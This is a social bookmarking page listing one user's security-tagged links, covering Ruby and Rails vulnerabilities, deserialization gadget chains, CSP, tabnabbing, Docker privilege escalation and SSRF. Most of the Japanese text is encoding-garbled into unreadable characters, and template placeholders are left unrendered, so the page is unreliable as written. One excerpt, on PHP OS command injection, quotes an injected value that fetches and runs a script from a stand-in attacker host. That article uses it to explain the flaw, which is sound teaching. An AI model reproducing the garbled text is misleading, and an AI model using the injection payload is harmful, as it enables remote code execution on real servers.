[B! security] willnetã®ãƒ–ãƒƒã‚¯ãƒžãƒ¼ã‚¯

willnet id:willnet

securityã«é–¢ã™ã‚‹willnetã®ãƒ–ãƒƒã‚¯ãƒžãƒ¼ã‚¯ (220)

${{author_name}}$

{{{comment_expanded}}}

{{label}}

{{#is_bookmark}}ãƒªã‚¹ãƒˆ{{/is_bookmark}}{{^is_bookmark}}ãƒªãƒ³ã‚¯{{/is_bookmark}}

${{author_name}}$
{{author_name}}{{created}}
{{ #comment }}{{ comment }}{{ /comment }}
- {{ label }}

${{author_name}}$

{{{comment_expanded}}}

{{label}}

{{#is_bookmark}}ãƒªã‚¹ãƒˆ{{/is_bookmark}}{{^is_bookmark}}ãƒªãƒ³ã‚¯{{/is_bookmark}}

Ruby cgi gemã®HTTPãƒ˜ãƒƒãƒ€ã‚¤ãƒ³ã‚¸ã‚§ã‚¯ã‚·ãƒ§ãƒ³è„†å¼±æ€§CVE-2021-33621ã®æ¦‚è¦ã¨ç™ºè¦‹ã®çµŒç·¯
ã“ã®è¨˜äº‹ã¯Ruby Advent Calendar 2022ã®ç¬¬20æ—¥ã®è¨˜äº‹ã§ã™ã€‚å‰æ—¥ã®è¨˜äº‹ã¯@ydahã•ã‚“ã«ã‚ˆã‚‹ã€ŒRuboCopã®ãƒãƒ¼ã‚¸ãƒ§ãƒ³ã‚’æœ€æ–°ã«ä¿ã¤æŠ€è¡“ã€ã§ã—ãŸã€‚ 2022å¹´11æœˆ22æ—¥ã«ã€Ruby cgi gemã®HTTPãƒ˜ãƒƒãƒ€ã‚¤ãƒ³ã‚¸ã‚§ã‚¯ã‚·ãƒ§ãƒ³è„†å¼±æ€§CVE-2021-33621ãŒç™ºè¡¨ãŒã•ã‚Œã¾ã—ãŸã€‚ CVE-2021-33621: HTTP response splitting in CGI Rubyã®CGIãƒ©ã‚¤ãƒ–ãƒ©ãƒªã«HTTPãƒ¬ã‚¹ãƒãƒ³ã‚¹åˆ†å‰²è„†å¼±æ€§ãŒã‚ã‚Šã€ç§˜å¯†æƒ…å ±ãŒæ¼æ´©ã™ã‚‹ - HackerOne CGI::Cookieã‚¯ãƒ©ã‚¹ã«ãŠã‘ã‚‹ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ä¸Šå¥½ã¾ã—ããªã„ä»•æ§˜ãŠã‚ˆã³å®Ÿè£… - HackerOne ç§ã¯HackerOneã‚’é€šã˜ã¦ã“ã®è„†å¼±æ€§ã‚’å ±å‘Šã—ã¾ã—ãŸã€‚ã“ã®è¨˜äº‹ã§ã¯ã€å½“è©²è„†å¼±æ€§ã®æ¦‚è¦ã¨ç™ºè¦‹ã®çµŒç·¯ãªã©ã«ã¤ã„ã¦å ±å‘Šã—ã¾ã™ã€‚ æ¦‚è¦ è„†å¼±æ€§ç™ºè¦‹ã®çµŒç·¯ å½±éŸ¿ã‚’å—ã‘ã‚‹ã‚¢ãƒ—ãƒªã‚±ãƒ¼ã‚·ãƒ§ãƒ³ å½±éŸ¿ å¯¾ç–
willnet 2022/12/20
Apacheã®æŒ™å‹•(è¤‡æ•°ã®ãƒ˜ãƒƒãƒ€ãŒã‚ã£ãŸã¨ãã«æœ€å¾Œã®ã‚‚ã®ã ã‘ãŒæœ‰åŠ¹ã«ãªã‚‹)ãŒã‚ã£ã¡ã‚ƒå‚è€ƒã«ãªã£ãŸ

security
ãƒªãƒ³ã‚¯
ãƒ•ã‚©ãƒ¼ãƒ å…¥åŠ›æ”¯æ´ã‚„ã‚µã‚¤ãƒˆæœ€é©åŒ–ã‚µãƒ¼ãƒ“ã‚¹ã®æ”¹ã–ã‚“ã«ã¤ã„ã¦ã¾ã¨ã‚ã¦ã¿ãŸ - piyolog
2022å¹´10æœˆ25æ—¥ã€ã‚·ãƒ§ãƒ¼ã‚±ãƒ¼ã‚¹ã¯åŒç¤¾ãŒæä¾›ã™ã‚‹è¤‡æ•°ã®ã‚µãƒ¼ãƒ“ã‚¹ãŒä¸æ£ã‚¢ã‚¯ã‚»ã‚¹ã‚’å—ã‘ãŸãŸã‚ã€ã‚µãƒ¼ãƒ“ã‚¹ã‚’åˆ©ç”¨ã™ã‚‹ä¼æ¥ã®Webã‚µã‚¤ãƒˆã‚’é€šã˜ã¦å…¥åŠ›ã•ã‚ŒãŸæƒ…å ±ãŒå¤–éƒ¨ã¸æµå‡ºã—ãŸå¯èƒ½æ€§ãŒã‚ã‚‹ã¨å…¬è¡¨ã—ã¾ã—ãŸã€‚ã“ã“ã§ã¯é–¢é€£ã™ã‚‹æƒ…å ±ã‚’ã¾ã¨ã‚ã¾ã™ã€‚ ãƒ•ã‚©ãƒ¼ãƒ å…¥åŠ›æ”¯æ´ã‚„ã‚µã‚¤ãƒˆæœ€é©åŒ–ã‚µãƒ¼ãƒ“ã‚¹æ”¹ã–ã‚“ã§è¤‡æ•°ç¤¾ã«å½±éŸ¿æ³¢åŠ www.showcase-tv.com ä¸æ£ã‚¢ã‚¯ã‚»ã‚¹ã«ã‚ˆã‚Šã‚·ãƒ§ãƒ¼ã‚±ãƒ¼ã‚¹ãŒæä¾›ã™ã‚‹ã‚µãƒ¼ãƒ“ã‚¹ã®ã‚½ãƒ¼ã‚¹ã‚³ãƒ¼ãƒ‰ã®æ”¹ã–ã‚“ãŒè¡Œã‚ã‚ŒãŸã€‚å¯¾è±¡ã‚µãƒ¼ãƒ“ã‚¹ãŒç¨¼åƒã™ã‚‹ã‚·ã‚¹ãƒ†ãƒ ã®ä¸€éƒ¨ã§è„†å¼±æ€§ã‚’æ‚ªç”¨ã•ã‚ŒãŸã“ã¨ãŒåŽŸå› ã€‚ è¢«å®³ã«éã£ãŸã®ã¯ã€Œãƒ•ã‚©ãƒ¼ãƒ ã‚¢ã‚·ã‚¹ãƒˆã€ã€Œã‚µã‚¤ãƒˆãƒ»ãƒ‘ãƒ¼ã‚½ãƒŠãƒ©ã‚¤ã‚¶ã€ã€Œã‚¹ãƒžãƒ¼ãƒˆãƒ•ã‚©ãƒ³ãƒ»ã‚³ãƒ³ãƒãƒ¼ã‚¿ã€ã®3ã¤ã€‚ãƒ•ã‚©ãƒ¼ãƒ ã®å…¥åŠ›æ”¯æ´ã‚„ã‚µã‚¤ãƒˆè¡¨ç¤ºæœ€é©åŒ–ã‚’è¡Œã†ã‚µãƒ¼ãƒ“ã‚¹ã§åˆ©ç”¨ä¼æ¥ã¯åŒç¤¾ãŒå…¬é–‹ã™ã‚‹JavaScript (formassist.jpã€navicast.jpä¸Šã§å…¬é–‹)ã‚’è‡ªç¤¾ã‚µã‚¤ãƒˆã‚ˆã‚Šèªã¿è¾¼ã‚€ã“ã¨ã§åˆ©ç”¨ã™ã‚‹ã€‚ æ”¹ã–ã‚“è¢«å®³
willnet 2022/10/27
security
ãƒªãƒ³ã‚¯
ã‚µãƒ–ãƒªã‚½ãƒ¼ã‚¹å®Œå…¨æ€§ - ã‚¦ã‚§ãƒ–ã®ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ | MDN
Referer ãƒ˜ãƒƒãƒ€ãƒ¼ã®ãƒ—ãƒ©ã‚¤ãƒã‚·ãƒ¼ã¨ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ã®è€ƒæ…®äº‹é …ã‚µãƒ–ãƒªã‚½ãƒ¼ã‚¹å®Œå…¨æ€§ãƒˆãƒ©ãƒ³ã‚¹ãƒãƒ¼ãƒˆå±¤ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£ãƒ¦ãƒ¼ã‚¶ãƒ¼ã«ã‚ˆã‚‹æœ‰åŠ¹åŒ–ã«ã‚ˆã£ã¦åˆ¶å¾¡ã•ã‚Œã‚‹æ©Ÿèƒ½ä¿è·ã•ã‚ŒãŸã‚³ãƒ³ãƒ†ã‚ã‚¹ãƒˆä¿è·ã•ã‚ŒãŸã‚³ãƒ³ãƒ†ã‚ã‚¹ãƒˆã«åˆ¶é™ã•ã‚Œã¦ã„ã‚‹æ©Ÿèƒ½åŒä¸€ã‚ªãƒªã‚¸ãƒ³ãƒãƒªã‚·ãƒ¼å®‰å…¨ã§ãªã„ãƒ‘ã‚¹ãƒ¯ãƒ¼ãƒ‰å®Ÿè·µçš„ãªã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£å®Ÿè£…ã‚¬ã‚¤ãƒ‰ãƒ•ã‚©ãƒ¼ãƒ ã®è‡ªå‹•è£œå®Œã‚’ç„¡åŠ¹ã«ã™ã‚‹ã«ã¯æ”»æ’ƒClickjackingã‚¯ãƒã‚¹ã‚µã‚¤ãƒˆã‚¹ã‚¯ãƒªãƒ—ãƒ†ã‚£ãƒ³ã‚° (XSS)ã‚µãƒ–ãƒ‰ãƒ¡ã‚¤ãƒ³ãƒ†ã‚¤ã‚¯ã‚ªãƒ¼ãƒãƒ¼æ··åœ¨ã‚³ãƒ³ãƒ†ãƒ³ãƒ„ç„¡ä¿¡é ¼ã® iframe Experimental è„†å¼±ãªç½²åã‚¢ãƒ«ã‚´ãƒªã‚ºãƒ è¨¼æ˜Žæ›¸ã®é€æ˜Žæ€§ ã‚µãƒ–ãƒªã‚½ãƒ¼ã‚¹å®Œå…¨æ€§ (Subresource Integrity, SRI) ã¯ã€ï¼ˆCDN ãªã©ã‹ã‚‰ï¼‰å–å¾—ã—ãŸãƒªã‚½ãƒ¼ã‚¹ãŒæ„å›³ã›ãšæ”¹ã–ã‚“ã•ã‚Œã¦ã„ãªã„ã‹ã‚’ãƒ–ãƒ©ã‚¦ã‚¶ãƒ¼ãŒæ¤œè¨¼ã™ã‚‹ã‚»ã‚ãƒ¥ãƒªãƒ†ã‚£æ©Ÿèƒ½ã§ã™ã€‚ SRI ã‚’åˆ©ç”¨ã™ã‚‹éš›ã«ã¯ã€å–å¾—ã—ãŸãƒªã‚½ãƒ¼ã‚¹ã®ãƒãƒƒã‚·ãƒ¥å€¤ã¨ä¸€è‡´ã™ã¹ããƒãƒƒã‚·ãƒ¥å€¤ã‚’æŒ‡å®šã—ã¾ã™ã€‚
willnet 2022/10/27
security
ãƒªãƒ³ã‚¯
CVE-2022-32224ï¼ˆRailsã®è„†å¼±æ€§ï¼‰ã‚’è©¦ã™ - knqyf263's blog
å‰å›žã®è¨˜äº‹ã¯å‰²ã¨æ¿ƒã„å‘³ä»˜ã‘ã§ã—ãŸãŒã€ä»Šå›žã¯è–„å‘³ã§ã™ã€‚ è„†å¼±æ€§è‡ªä½“ã¯ç°¡å˜ãªã‚„ã¤ãªã®ã§ã™ãŒã€èª¿ã¹ã¦ã„ã‚‹éŽç¨‹ã§Ruby 3.1ã‹ã‚‰YAMLã®ãƒ‘ãƒ¼ã‚¹ãŒå®‰å…¨ã«ãªã£ãŸã“ã¨ã‚’çŸ¥ã£ãŸã®ã§ãã®å…±æœ‰ãŒã¦ã‚‰æ›¸ãã¾ã—ãŸã€‚æœ€è¿‘ã¯ã‚ã¾ã‚ŠRubyã‚’è§¦ã‚‹æ©Ÿä¼šãŒãªã‹ã£ãŸã®ã§ãƒªãƒãƒ“ãƒªã‚’å…¼ãã¦è§¦ã£ã¦ã„ã‚‹ã¨ã“ã‚ã‚‚ã‚ã‚Šã€é–“é•ã„ãŒã‚ã‚Œã°æ•™ãˆã¦ä¸‹ã•ã„ã€‚ è¦ç´„ èƒŒæ™¯ Rubyã®YAML.load Railsã®ãƒ‡ã‚·ãƒªã‚¢ãƒ©ã‚¤ã‚¼ãƒ¼ã‚·ãƒ§ãƒ³ã‚’è©¦ã™ æº–å‚™ ã‚¯ãƒ©ã‚¹ã®å¾©å…ƒ ä»»æ„ã‚³ãƒ¼ãƒ‰å®Ÿè¡Œ ã¾ã¨ã‚ è¦ç´„ Rubyã® YAML.load ï¼ˆæ£ç¢ºã«ã¯ Psych.load ï¼‰ã‚’ãƒ¦ãƒ¼ã‚¶å…¥åŠ›ãªã©ä¿¡é ¼ã§ããªã„å€¤ã«å¯¾ã—ã¦å®Ÿè¡Œã™ã‚‹ã®ã¯å±é™ºã§ã—ãŸã€‚ Do not use YAML to load untrusted data. Doing so is unsafe and could allow malicious input to execute arbitrary
willnet 2022/07/26
rails

security
ãƒªãƒ³ã‚¯
Deserialization on Rails
Ruby on Railsã§ä½¿ã‚ã‚Œã¦ã„ã‚‹Deserializeã¨ãã®å±é™ºæ€§ã«ã¤ã„ã¦èª¿ã¹ãŸã‚‚ã®ã‚’ã¾ã¨ã‚ã¾ã—ãŸã€‚
willnet 2022/03/03
security
ãƒªãƒ³ã‚¯
elttam - Ruby 2.x Universal RCE Deserialization Gadget Chain
Ruby 2.x Universal RCE Deserialization Gadget Chain A universal gadget chain to achieve arbitrary code execution in Ruby 2.x Introduction This blog post details exploitation of arbitrary deserialization for the Ruby programming language and releases the first public universal gadget chain to achieve arbitrary command execution for Ruby 2.x. This will be described in the following sections which de
willnet 2021/06/01
ruby

security
ãƒªãƒ³ã‚¯
Strict CSP - Content Security Policy
This documentation is outdated and available for historical reasons only. To learn how to enable strict Content Security Policy in your application, visit web.dev/strict-csp. Content Security Policy can help protect your application from XSS, but in order for it to be effective you need to define a secure policy. To get real value out of CSP your policy must prevent the execution of untrusted scri
willnet 2019/04/04
security
ãƒªãƒ³ã‚¯
ãƒªãƒ³ã‚¯ã®ã¸ã® rel=noopener ä»˜ä¸Žã«ã‚ˆã‚‹ Tabnabbing å¯¾ç– | blog.jxck.io
ãªãŠ IE ã¯(security zone setting ã‚’ã„ã˜ã‚‰ãªã„é™ã‚Š)ã“ã®å•é¡ŒãŒç™ºç”Ÿã—ãªã„ã‚ˆã†ã ã€‚ å¼•ç”¨å…ƒ: blankshield demo | Reverse tabnabber phishing tabnabbing ä¸Šè¨˜ã®æŒ™å‹•ã‚’ã€ãƒ•ã‚£ãƒƒã‚·ãƒ³ã‚°è©æ¬ºã«åˆ©ç”¨ã§ãã‚‹ã“ã¨ãŒæ—¢ã«æŒ‡æ‘˜ã•ã‚Œã¦ã„ã‚‹ã€‚ ã“ã®æ‰‹æ³•ã¯ Tabnabbing ã¨å‘¼ã°ã‚Œã¦ã„ã‚‹ã€‚ Tabnabbing: A New Type of Phishing Attack Aza on Design Target="_blank" - the most underestimated vulnerability ever ã“ã®æ”»æ’ƒæ–¹æ³•ã‚’è§£èª¬ã™ã‚‹ã€‚ æ”»æ’ƒã®æ¦‚è¦ https://cgm.example.com (å·¦ä¸Š) ã¨ã„ã†ã‚µãƒ¼ãƒ“ã‚¹ãŒã‚ã‚‹ã¨ã—ã€ã“ã‚Œã¯ SNS ã‚„ãƒãƒ¼ãƒ ã‚³ãƒ©ãƒœãƒ¬ãƒ¼ã‚·ãƒ§ãƒ³ç³»ã‚µãƒ¼ãƒ“ã‚¹ã‚’æƒ³å®šã™ã‚‹ã€‚ æ”»æ’ƒè€…ã¯ã€ã“ã®ã‚µãƒ¼ãƒ“ã‚¹ã®ä¸
willnet 2019/04/01
security
ãƒªãƒ³ã‚¯
Hakiri
Sunsetting Hakiri Hakiri was a Ruby security monitor for dependency and code vulnerabilities. After eight years in operation, it was sunset on January 31, 2022. Transition If you missed the transition period (announced via em ail on December 17, 2021) and would like to continue monitoring your gemfiles and Rails code we recommend switching to the following great services: GitHub Dependabot for moni
willnet 2019/03/17
rails

security
ãƒªãƒ³ã‚¯
PHPã ã£ã¦ã‚·ã‚§ãƒ«çµŒç”±ã§ãªã„ã‚³ãƒžãƒ³ãƒ‰å‘¼ã³å‡ºã—æ©Ÿèƒ½ãŒæ¬²ã—ã„
ã“ã®ã‚¨ãƒ³ãƒˆãƒªã¯PHP Advent Calendar 2013 in Adventar ã®21æ—¥ç›®ã§ã™ã€‚ OSã‚³ãƒžãƒ³ãƒ‰ã‚¤ãƒ³ã‚¸ã‚§ã‚¯ã‚·ãƒ§ãƒ³ã¨ã¯ OSã‚³ãƒžãƒ³ãƒ‰ã‚¤ãƒ³ã‚¸ã‚§ã‚¯ã‚·ãƒ§ãƒ³ã¨ã„ã†è„†å¼±æ€§ãŒã‚ã‚Šã¾ã™ã€‚PHPã‹ã‚‰å¤–éƒ¨ã‚³ãƒžãƒ³ãƒ‰ã‚’å‘¼ã‚“ã§ã„ã‚‹å ´åˆã«ã€æ„å›³ã—ãŸã‚³ãƒžãƒ³ãƒ‰ã¨ã¯åˆ¥ã®ã‚³ãƒžãƒ³ãƒ‰ã‚’å¤–éƒ¨ã‹ã‚‰æŒ‡å®šã•ã‚Œã€å®Ÿè¡Œã•ã‚Œã¦ã—ã¾ã†ã‚‚ã®ã§ã™ã€‚ ä¸‹è¨˜ã®ã‚ˆã†ã«ã€myprog ã‚’ãƒ‘ãƒ©ãƒ¡ãƒ¼ã‚¿æŒ‡å®šã§èµ·å‹•ã—ã¦ã„ã‚‹å ´åˆã§èª¬æ˜Žã—ã¾ã™ã€‚$paramã¯ãƒ•ã‚¡ã‚¤ãƒ«åã‚„ãƒ¡ãƒ¼ãƒ«ã‚¢ãƒ‰ãƒ¬ã‚¹ãªã©ã‚’æƒ³å®šã—ã¦ã„ã¾ã™ã€‚ $param = $_GET['param']; system("myprog $param"); $paramã¨ã—ã¦ ; wget http://evil.com/bad.php ; php bad.php Â ã‚’æŒ‡å®šã•ã‚Œã‚‹ã¨ã€systemé–¢æ•°ã§å®Ÿè¡Œã™ã‚‹ã‚³ãƒžãƒ³ãƒ‰ã¯ä¸‹è¨˜ã¨ãªã‚Šã¾ã™ã€‚ myprog ; wget http://evil.com/ba
willnet 2019/01/28
security
ãƒªãƒ³ã‚¯
Dockerã§ãƒ¦ãƒ¼ã‚¶ãƒ¼ã‚’dockerã‚°ãƒ«ãƒ¼ãƒ—ã«è¿½åŠ ã™ã‚‹ã“ã¨ã®å±é™ºæ€§ã‚’ç†è§£ã—ã‚ˆã† - Qiita
ã“ã®ã‚³ãƒžãƒ³ãƒ‰ã¯ã‚³ãƒ³ãƒ†ãƒŠå†…ã®rootæ¨©é™ã ã‘ã§ãªãã€ãƒ›ã‚¹ãƒˆå´ã®rootæ¨©é™ã‚‚ä¸Žãˆã¦ã—ã¾ã†ã®ã§ç°¡å˜ã«ãƒãƒƒã‚¯ãƒ‰ã‚¢ã‚’è¨ç½®ã§ãã¦ã—ã¾ã†ã®ã§ã™ã€‚(è¨ç½®ã™ã‚‹ã‚³ãƒžãƒ³ãƒ‰ã¯èª¿ã¹ã‚Œã°ã™ãã«å‡ºã¦ãã¾ã™ãŒæµçŸ³ã«ã‚³ãƒ”ãƒšã§ãã‚‹ã‚ˆã†ã«æ›¸ãã®ã¯ã‚„ã°ã„ã®ã§) ã¾ãŸä»–ã«ã‚‚ã‚³ãƒ³ãƒ†ãƒŠã‚’--privilegedä»˜ãã§èµ·å‹•ã—ãƒ›ã‚¹ãƒˆã®/ã‚’ãƒžã‚¦ãƒ³ãƒˆã—ã¦chrootã™ã‚‹ã¨ã„ã†ã‚‚ã£ã¨å‡¶æ‚ªãªæ‰‹ã‚‚ã‚ã‚Šã¾ã™ã€‚ å…ƒã€…sudoãŒä½¿ãˆã‚‹ã®ã«ã€ä½•ãŒå•é¡Œãªã®? å•é¡Œã¯ãƒ¦ãƒ¼ã‚¶ãƒ¼ãŒæ„å›³çš„ã«dockerã‚³ãƒžãƒ³ãƒ‰ã‚’å®Ÿè¡Œã—ãŸæ™‚ã«ã¯ç™ºç”Ÿã—ã¾ã›ã‚“ã€‚å•é¡Œã¯æ‚ªæ„ã®ã‚ã‚‹ãƒ—ãƒã‚°ãƒ©ãƒ ãŒã‚µãƒ¼ãƒãªã©ã«æ··å…¥ã—ãŸæ™‚ã‚„ã€æ€ªã—ã„Dockerfileã‚’ä½¿ç”¨ã—ãŸå ´åˆã§ã™ã€‚ å¤§æŠµã®æ‚ªæ„ã®ã‚ã‚‹ãƒ—ãƒã‚°ãƒ©ãƒ ã¯ä½•ã‚‰ã‹ã®æ‰‹æ®µã§rootæ¨©é™ã‚’å–å¾—ã—ã‚ˆã†ã¨ã—ã¾ã™ãŒã€ãã‚Œã¯ã‚¼ãƒãƒ‡ã‚¤è„†å¼±æ€§ã§ã‚ã£ãŸã‚Šãã‚‚ãã‚‚ã®æ¨©é™ã®ãƒŸã‚¹ã§ã‚ã£ãŸã‚Šã—ã¾ã™ãŒã€dockerãŒã‚¤ãƒ³ã‚¹ãƒˆãƒ¼ãƒ«ã•ã‚Œã¦ã„ã‚‹æ¡ä»¶ä¸‹ãªã‚‰ã°ã“ã®æ–¹æ³•ã§æ¨©é™æ˜‡æ ¼ã‚’ç‹™ã£ã¦ãã‚‹å ´
willnet 2019/01/24
security
ãƒªãƒ³ã‚¯
CSP Report åŽé›†ã¨å®Ÿãƒ¬ãƒãƒ¼ãƒˆã®è€ƒå¯Ÿ | blog.jxck.io
Intro ã“ã®ãƒ–ãƒã‚°ã§ CSP ãƒ¬ãƒãƒ¼ãƒˆã®åŽé›†ã‚’é–‹å§‹ã—ã¦ã‚‚ã†ã™ã 1 å¹´ã«ãªã‚‹ã€‚ ç¾çŠ¶ã€å¯¾è±¡ãƒ‰ãƒ¡ã‚¤ãƒ³å†…ã§ <input> ã¯ä¸€åˆ‡æä¾›ã—ã¦ãŠã‚‰ãšã€å¤§åŠãŒé™çš„ã«ç”Ÿæˆã•ã‚ŒãŸãƒšãƒ¼ã‚¸ã§ã‚ã‚‹ãŒã€ã“ã®æ¡ä»¶ã§ã‚‚ã€ã‹ãªã‚Šå¤šãã®ãƒ¬ãƒãƒ¼ãƒˆãŒé›†ã¾ã£ãŸã€‚ ä»Šå›žã¯ã€åŽé›†ã—ãŸå®Ÿéš›ã®ãƒ¬ãƒãƒ¼ãƒˆã‚’ä¾‹ã«ã€æ”»æ’ƒã§ã¯ãªã„ã¨æ€ã‚ã‚Œã‚‹ãƒ¬ãƒãƒ¼ãƒˆã¨ã—ã¦ã©ã†ã„ã£ãŸã‚‚ã®ãŒé€ã‚‰ã‚Œã¦æ¥ãŸã‹ã‚’ä¸å¿ƒã«ã€ãã®å†…å®¹ã‚„ãƒ¬ãƒãƒ¼ãƒ†ã‚£ãƒ³ã‚°ã‚µãƒ¼ãƒã€CSP ã®é‹ç”¨ã«é–¢ã™ã‚‹ç¾æ™‚ç‚¹ã®è€ƒå¯Ÿã«ã¤ã„ã¦ã¾ã¨ã‚ã‚‹ã€‚ åŽé›†ç›®çš„ CSP ã®åŸºæœ¬ã¯ã€æ„å›³ã—ãªã„ãƒªã‚½ãƒ¼ã‚¹ã®èªã¿è¾¼ã¿ã‚„ã€Inline Script ã®å®Ÿè¡Œã‚’é˜²ãã“ã¨ã«ã‚ã‚‹ã€‚ ä¾‹ãˆã°ã€ã‚¨ã‚¹ã‚±ãƒ¼ãƒ—æ¼ã‚Œã«ã‚ˆã‚Š XSS ãŒç™ºç”Ÿã—ã€æ‚ªæ„ã®ã‚ã‚‹ Inline Script ãŒåŸ‹ã‚è¾¼ã¾ã‚ŒãŸå ´åˆã§ã‚‚ã€Inline Script ã‚’ç¦æ¢ã™ã‚‹ãƒãƒªã‚·ãƒ¼ã‚’é©ç”¨ã—ãŸãƒšãƒ¼ã‚¸ã§ã¯ã€ãã®å®Ÿè¡Œã¯ãƒ–ãƒ©ã‚¦ã‚¶ã«ã‚ˆã£ã¦ Violation(é•å)ã¨åˆ¤æ–ã•ã‚Œãƒ–ãƒãƒƒã‚¯ã•
willnet 2019/01/08
security
ãƒªãƒ³ã‚¯
Chrome Platform Status
willnet 2019/01/08
report-toã‚’ä½¿ã†ã¨ã€ã„ãã¤ã‹ã®æƒ…å ±ãŒã¾ã¨ã¾ã£ãŸã ã‚“ã‹ã„ã§ãƒ¬ãƒãƒ¼ãƒˆã™ã‚‹ã€ã¨ã„ã†æŒ™å‹•ã«ãªã‚‹ã®ã‹ãª

security
ãƒªãƒ³ã‚¯
Website security, made easy.
Security, made easy. We're the market leader in browser security techno logies, enabling you to detect and mitigate attacks, fast. What We Do We help you deploy and monitor cutting edge website and em ail security protections. Here are some of our most popular products and services.
willnet 2019/01/08
security
ãƒªãƒ³ã‚¯
è„†å¼±æ€§å ±å¥¨é‡‘åˆ¶åº¦ã§èªå®šã•ã‚Œã¥ã‚‰ã„ãƒ†ã‚ã‚¹ãƒˆã‚¤ãƒ³ã‚¸ã‚§ã‚¯ã‚·ãƒ§ãƒ³
You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session. Dismiss alert
willnet 2019/01/07
security
ãƒªãƒ³ã‚¯
å¾³ä¸¸æµ©ã®æ—¥è¨˜: SSRF(Server Side Request Forgery)å¾¹åº•å…¥é–€
SSRF(Server Side Request Forgery)ã¨ã„ã†è„†å¼±æ€§ãªã„ã—æ”»æ’ƒæ‰‹æ³•ãŒæœ€è¿‘æ³¨ç›®ã•ã‚Œã¦ã„ã¾ã™ã€‚ä»¥ä¸‹ã¯ã€ã“ã“3ãƒ¶æœˆã«SSRFã«ã¤ã„ã¦è¨€åŠã•ã‚ŒãŸè¨˜äº‹ã§ã™ã€‚ EC2ä¸Šã®AWS CLIã§ä½¿ã‚ã‚Œã¦ã„ã‚‹169.254ã«ã¤ã„ã¦ SSRFè„†å¼±æ€§ã‚’åˆ©ç”¨ã—ãŸGCE/GKEã‚¤ãƒ³ã‚¹ã‚¿ãƒ³ã‚¹ã¸ã®æ”»æ’ƒä¾‹ SSRFã‚’åˆ©ç”¨ã—ãŸãƒ¡ãƒ¼ãƒ«é€ä¿¡ãƒ‰ãƒ¡ã‚¤ãƒ³ã®ä¹—ã£å–ã‚Š ã€ŒCODE BLUE 2018ã€å‚åŠ ãƒ¬ãƒãƒ¼ãƒˆï¼ˆå²©é–“ç·¨ï¼‰ ã“ã®ã€Œç©ºå‰ã®SSRFãƒ–ãƒ¼ãƒ ã€ã«ä¾¿ä¹—ã—ã¦ã€SSRFã¨ã„ã†æ”»æ’ƒæ‰‹æ³•ãŠã‚ˆã³è„†å¼±æ€§ã«ã¤ã„ã¦èª¬æ˜Žã—ã¾ã™ã€‚ SSRFæ”»æ’ƒã¨ã¯ SSRFæ”»æ’ƒã¨ã¯ã€æ”»æ’ƒè€…ã‹ã‚‰ç›´æŽ¥åˆ°é”ã§ããªã„ã‚µãƒ¼ãƒãƒ¼ã«å¯¾ã™ã‚‹æ”»æ’ƒæ‰‹æ³•ã®ä¸€ç¨®ã§ã™ã€‚ä¸‹å›³ã«SSRFæ”»æ’ƒã®æ§˜åã‚’ç¤ºã—ã¾ã™ã€‚ æ”»æ’ƒè€…ã‹ã‚‰ã¯ã€å…¬é–‹ã‚µãƒ¼ãƒãƒ¼ï¼ˆ203.0.113.2ï¼‰ã«ã¯ã‚¢ã‚¯ã‚»ã‚¹ã§ãã¾ã™ãŒã€å†…éƒ¨ã®ã‚µãƒ¼ãƒãƒ¼ï¼ˆ192.168.0.5ï¼‰ã¯ãƒ•ã‚¡ã‚¤ã‚¢ã‚¦ã‚©ãƒ¼ãƒ«ã§éš”é›¢ã•ã‚Œã¦ã„ã‚‹ãŸã‚å¤–éƒ¨ã‹ã‚‰ç›´æŽ¥
willnet 2018/12/05
security
ãƒªãƒ³ã‚¯
å¾³ä¸¸æµ©ã®æ—¥è¨˜: ECã‚µã‚¤ãƒˆã‹ã‚‰ã‚¯ãƒ¬ã‚¸ãƒƒãƒˆã‚«ãƒ¼ãƒ‰æƒ…å ±ã‚’ç›—ã¿å‡ºã™æ–°ãŸãªæ‰‹å£
ã‚¨ã‚°ã‚¼ã‚¯ãƒ†ã‚£ãƒ–ã‚µãƒžãƒª è–æ•™æ–°èžç¤¾ãŒé‹å–¶ã™ã‚‹é€šè²©ã‚µã‚¤ãƒˆã€ŒSOKAã‚ªãƒ³ãƒ©ã‚¤ãƒ³ã‚¹ãƒˆã‚¢ã€ã‹ã‚‰2,481ä»¶ã®ã‚¯ãƒ¬ã‚¸ãƒƒãƒˆã‚«ãƒ¼ãƒ‰æƒ…å ±ãŒæ¼æ´©ã—ãŸã€‚ãƒªãƒªãƒ¼ã‚¹ã«ã‚ˆã‚‹ã¨ã€æ¼æ´©ã«ä½¿ã‚ã‚ŒãŸæ‰‹å£ã¯å¾“æ¥ã¨ã¯ç•°ãªã‚‹ã‚‚ã®ã§ã€æ”¹æ£å‰²è³¦è²©å£²æ³•ã®å®Ÿå‹™ä¸Šã®ã‚¬ã‚¤ãƒ‰ãƒ©ã‚¤ãƒ³ã§ã‚ã‚‹ã€Œã‚¯ãƒ¬ã‚¸ãƒƒãƒˆã‚«ãƒ¼ãƒ‰æƒ…å ±éžä¿æŒåŒ–ã€ã§ã¯å¯¾ç–ã§ããªã„ã‚‚ã®ã§ã‚ã£ãŸã€‚ ã¯ã˜ã‚ã« ä»Šå¹´ã®9æœˆ4æ—¥ã«è–æ•™æ–°èžç¤¾ã®é€šè²©ã‚µã‚¤ãƒˆSOKAã‚ªãƒ³ãƒ©ã‚¤ãƒ³ã‚¹ãƒˆã‚¢ã‹ã‚‰ã‚¯ãƒ¬ã‚¸ãƒƒãƒˆã‚«ãƒ¼ãƒ‰æƒ…å ±æ¼æ´©ã®å¯èƒ½æ€§ãŒãƒªãƒªãƒ¼ã‚¹ã•ã‚Œã¾ã—ãŸã€‚ä»¥ä¸‹ã¯è–æ•™æ–°èžç¤¾ã‹ã‚‰é‹å–¶å§”è¨—ã•ã‚Œã¦ã„ã‚‹ãƒˆãƒ©ãƒ³ã‚¹ã‚³ã‚¹ãƒ¢ã‚¹æ ªå¼ä¼šç¤¾ã®ãƒªãƒªãƒ¼ã‚¹ã§ã™ã€‚ ã€Œï¼³ï¼¯ï¼«ï¼¡ã‚ªãƒ³ãƒ©ã‚¤ãƒ³ã‚¹ãƒˆã‚¢ã€ã®ä»¶ 